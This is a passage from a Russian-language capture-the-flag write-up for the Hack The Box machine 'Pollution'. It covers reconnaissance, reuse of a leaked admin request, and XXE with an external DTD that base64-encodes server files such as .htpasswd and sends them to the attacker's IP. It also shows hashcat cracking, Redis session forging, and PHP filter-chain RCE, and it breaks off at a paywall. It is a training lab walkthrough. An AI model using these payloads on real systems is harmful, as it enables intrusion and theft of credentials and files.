В этом рай­тапе я покажу, как работать с уяз­вимостью типа prototype pollution в при­ложе­нии на Node.js. На пути к ней мы поуп­ражня­емся в экс­плу­ата­ции XXE, порабо­таем с Redis и при­меним экс­пло­ит для PHP FPM.

Уп­ражнять­ся мы будем на тре­ниро­воч­ной машине Pollution с пло­щад­ки Hack The Box. Уро­вень — слож­ный.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.192 pollution.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел все­го три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.4p1;
  • 80 — веб‑сер­вер Apache 2.4.54;
  • 6379 — СУБД Redis.

На­ибо­лее веро­ятная точ­ка вхо­да при таком выборе — веб‑сайт. Его‑то и про­верим пер­вым делом.

Главная страница сайта
Глав­ная стра­ница сай­та

В информа­ции на сай­те отра­жает­ся реаль­ный домен, который мы добав­ляем в файл /etc/hosts.

10.10.11.192 pollution.htb collect.htb
Информация на сайте
Ин­форма­ция на сай­те

А так как мы получи­ли реаль­ное домен­ное имя, поп­робу­ем прос­каниро­вать под­домены.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -H — заголо­вок HTTP;
  • -fs — филь­тро­вать стра­ницы по раз­меру.

Мес­то перебо­ра помеча­ется сло­вом FUZZ.

По­луча­ется вот такая коман­да:

ffuf -u 'http://collect.htb/' -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.collect.htb' -fs 26197
Результат сканирования поддоменов
Ре­зуль­тат ска­ниро­вания под­доменов

До­бав­ляем все най­ден­ные записи в файл /etc/hosts.

10.10.11.192 pollution.htb collect.htb forum.collect.htb developers.collect.htb

На пер­вом домене обна­ружи­ваем откры­тый форум с воз­можностью регис­тра­ции, а на вто­ром нас встре­чает HTTP-аутен­тифика­ция.

Главная страница forum.collect.htb
Глав­ная стра­ница forum.collect.htb

Пе­рехо­дим к изу­чению форума.

 

Точка входа

Ре­гис­три­руем­ся на форуме, так как это поз­волит рас­ширить область иссле­дова­ния. Сра­зу копиру­ем себе спи­сок поль­зовате­лей, иног­да это очень важ­ная информа­ция.

Пользователи форума
Поль­зовате­ли форума

Пе­рехо­дим к откры­тым темам и прос­матри­ваем обсужде­ния. В одном пос­те видим, как поль­зователь рас­шарил исто­рию прок­си‑сер­вера.

Сообщение с историей прокси-сервера
Со­обще­ние с исто­рией прок­си‑сер­вера

В фай­ле видим всю исто­рию зап­росов и отве­тов, про­ходив­ших через прок­си. Эти дан­ные закоди­рова­ны в Base64.

Содержимое файла proxy_history.txt
Со­дер­жимое фай­ла proxy_history.txt

Де­коди­ровать мож­но пря­мо в Burp с помощью ком­бинации кла­виш Ctrl-Shift-B.

Декодированный запрос на сервер
Де­коди­рован­ный зап­рос на сер­вер

На­ходим очень инте­рес­ный зап­рос, который повыша­ет роль поль­зовате­ля до адми­нис­тра­тора. Вер­немся к исходно­му сай­ту и отпра­вим ана­логич­ный зап­рос с тем же токеном.

Запрос на повышение привилегий
Зап­рос на повыше­ние при­виле­гий

То­кен ока­зал­ся неод­норазо­вый, и роль поль­зовате­ля повыси­лась до адми­нис­тра­тора сай­та.

Страница администратора
Стра­ница адми­нис­тра­тора

Эти при­виле­гии поз­воля­ют нам раз­решить поль­зовате­лю получать дос­туп по API.

Форма регистрации пользователя API
Фор­ма регис­тра­ции поль­зовате­ля API

Прос­матри­ваем исто­рию зап­росов Burp History и находим зап­рос на регис­тра­цию поль­зовате­ля API.

Дан­ные отправ­ляют­ся в фор­мате XML, а зна­чит, здесь может быть уяз­вимость XXE. Давай про­верим!

 

Точка опоры

 

XXE

Справка: XXE

Инъ­екция внеш­них сущ­ностей XML (XXE) — это уяз­вимость, которая поз­воля­ет ата­кующе­му вме­шивать­ся в обра­бот­ку XML-дан­ных. Эта уяз­вимость час­то помога­ет ата­кующе­му прос­матри­вать про­изволь­ные фай­лы в фай­ловой сис­теме сер­вера и вза­имо­дей­ство­вать с любыми сер­верны­ми или внеш­ними сис­темами, к которым име­ет дос­туп само при­ложе­ние.

Это про­исхо­дит из‑за того, что при­ложе­ние может исполь­зовать фор­мат XML для переда­чи дан­ных. Для их обра­бот­ки в таких слу­чаях поч­ти всег­да при­меня­ется стан­дар­тная биб­лиоте­ка или API плат­формы. Уяз­вимос­ти XXE воз­ника­ют из‑за того, что спе­цифи­кация XML содер­жит потен­циаль­но опас­ные фун­кции, которые мож­но выз­вать, даже если при­ложе­ние их не исполь­зует.

Внеш­ние сущ­ности XML — это нас­тра­иваемые сущ­ности, опре­делен­ные зна­чения которых заг­ружа­ются из фай­лов DTD с уда­лен­ного сер­вера.

Поп­робу­ем про­читать файл /etc/hosts. Запус­тим веб‑сер­вер:

python3 -m http.server 80

И соз­дадим наг­рузку, которая попыта­ется заг­рузить файл DTD evil.dtd с нашего веб‑сер­вера.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://10.10.14.13/evil.dtd"> %xxe;
]>
<root>
<method>POST</method>
<uri>/auth/register</uri>
<user>
<username>ralf</username>
<password>ralf</password>
</user>
</root>

Те­перь перехо­дим к содер­жимому фай­ла DTD. Сна­чала сущ­ность будет читать целевой файл и кодиро­вать его в Base64. А затем заг­ружать новую уда­лен­ную сущ­ность, но в URL-парамет­ре переда­вать закоди­рован­ный файл, который мы хотим получить.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../etc/hosts'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.6/?file=%file;'>">
%eval;
%exfiltrate;
Выполнение запроса на сервер
Вы­пол­нение зап­роса на сер­вер
Логи веб-сервера Python 3
Ло­ги веб‑сер­вера Python 3

Мы получи­ли дан­ные, а зна­чит, уяз­вимость есть. Давай читать фай­лы сай­та. Начина­ем, конеч­но, с index.php (изме­няем толь­ко пер­вую стро­ку фай­ла DTD).

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>

От­прав­ляем новый зап­рос, получа­ем файл на свой сер­вер и декоди­руем Base64-стро­ку.

Содержимое файла index.php
Со­дер­жимое фай­ла index.php

Этот файл ничего, кро­ме новых путей, не рас­кры­вает. Давай получим под­клю­чаемый файл bootstrap.php.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../bootstrap.php'>
Содержимое файла bootstrap.php
Со­дер­жимое фай­ла bootstrap.php

И получа­ем сек­рет для под­клю­чения к служ­бе Redis. К ней перей­дем чуть поз­же, а пока про­дол­жим выжимать мак­симум из XXE. Прав­да, боль­ше исходные коды нам ничего не откры­ли, но пом­ним про HTTP-аутен­тифика­цию на одном из доменов. Вспо­мина­ем про домен developers. Получим учет­ные дан­ные из фай­ла /var/www/developers/.htpasswd.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../../../var/www/developers/.htpasswd'>
Содержимое файла .htpasswd
Со­дер­жимое фай­ла .htpasswd

Что­бы переб­рать этот хеш, нам нуж­но знать режим перебо­ра. В этом поможет справ­ка hashcat.

hashcat --example | grep '\$apr1\$' -A2 -B2
Описание хеша
Опи­сание хеша

По­луча­ем режим 1600, который переда­ем в парамет­ре -m.

hashcat -m 1600 hash.txt rockyou.txt
Результат перебора хеша
Ре­зуль­тат перебо­ра хеша

По­луча­ем пароль и авто­ризу­емся на developers.collect.htb, но нас встре­чает еще и авто­риза­ция на сай­те.

Форма авторизации developers.collect.htb
Фор­ма авто­риза­ции developers.collect.htb

Те­перь перей­дем к изу­чению Redis.

 

Auth Bypass

Порт открыт, поэто­му под­клю­чаем­ся с най­ден­ным паролем и получа­ем все клю­чи.

redis-cli -h collect.htb -a COLLECTR3D1SPASS
keys *
Ключи в базе Redis
Клю­чи в базе Redis

По­луча­ем сес­сии, видимо, какого‑то веб при­ложе­ния. Для про­вер­ки перехо­дим к сай­ту developers, получа­ем новую сес­сию в куки и сно­ва про­веря­ем клю­чи в Redis.

Burp History
Burp History
Ключи Redis
Клю­чи Redis

По­лучим записи по клю­чам, что­бы разоб­рать фор­мат хра­нящих­ся дан­ных.

Получение данных Redis
По­луче­ние дан­ных Redis

Пер­вая запись соот­ветс­тву­ет сай­ту collect, а толь­ко что соз­данная сес­сия, конеч­но же, ничего не хра­нит. По извес­тной записи сфор­миру­ем дан­ные для адми­нис­тра­тора сай­та developers и прис­воим толь­ко что соз­данно­му клю­чу.

set PHPREDIS_SESSION:iht1inpstsraqqkbnc1grpi8fa "username|s:4:"ralf";role|s:5:"admin";auth|s:4:"True";"

Об­новля­ем стра­ницу на сай­те и получа­ем дос­туп от име­ни авто­ризо­ван­ного поль­зовате­ля.

Домашняя страница сайта Developers
До­маш­няя стра­ница сай­та Developers

Сра­зу обра­щаем вни­мание на то, что стра­ница переда­ется в качес­тве URL-парамет­ра page. В таких слу­чаях нуж­но сра­зу искать уяз­вимос­ти типа LFI или RCE. Я поп­робовал нес­коль­ко, но ничего не получи­лось. Ско­рее все­го, исполь­зуют­ся филь­тры и мы можем пос­мотреть на них, про­читав код сай­та через XXE.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../../../var/www/developers/index.php'>
Содержимое файла /var/www/developers/index.php
Со­дер­жимое фай­ла /var/www/developers/index.php

Ис­поль­зует­ся фун­кция include, но к ука­зан­ной стра­нице добав­ляет­ся рас­ширение .php.

 

PHP include RCE

Да­же в таком слу­чае мы можем выпол­нить про­изволь­ный код бла­года­ря репози­торию php_filter_chain_generator.

Создание нагрузки
Соз­дание наг­рузки

Те­перь отправ­ляем ее на сайт и в отве­те видим резуль­тат выпол­нения коман­ды.

Эксплуатация RCE
Экс­плу­ата­ция RCE

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии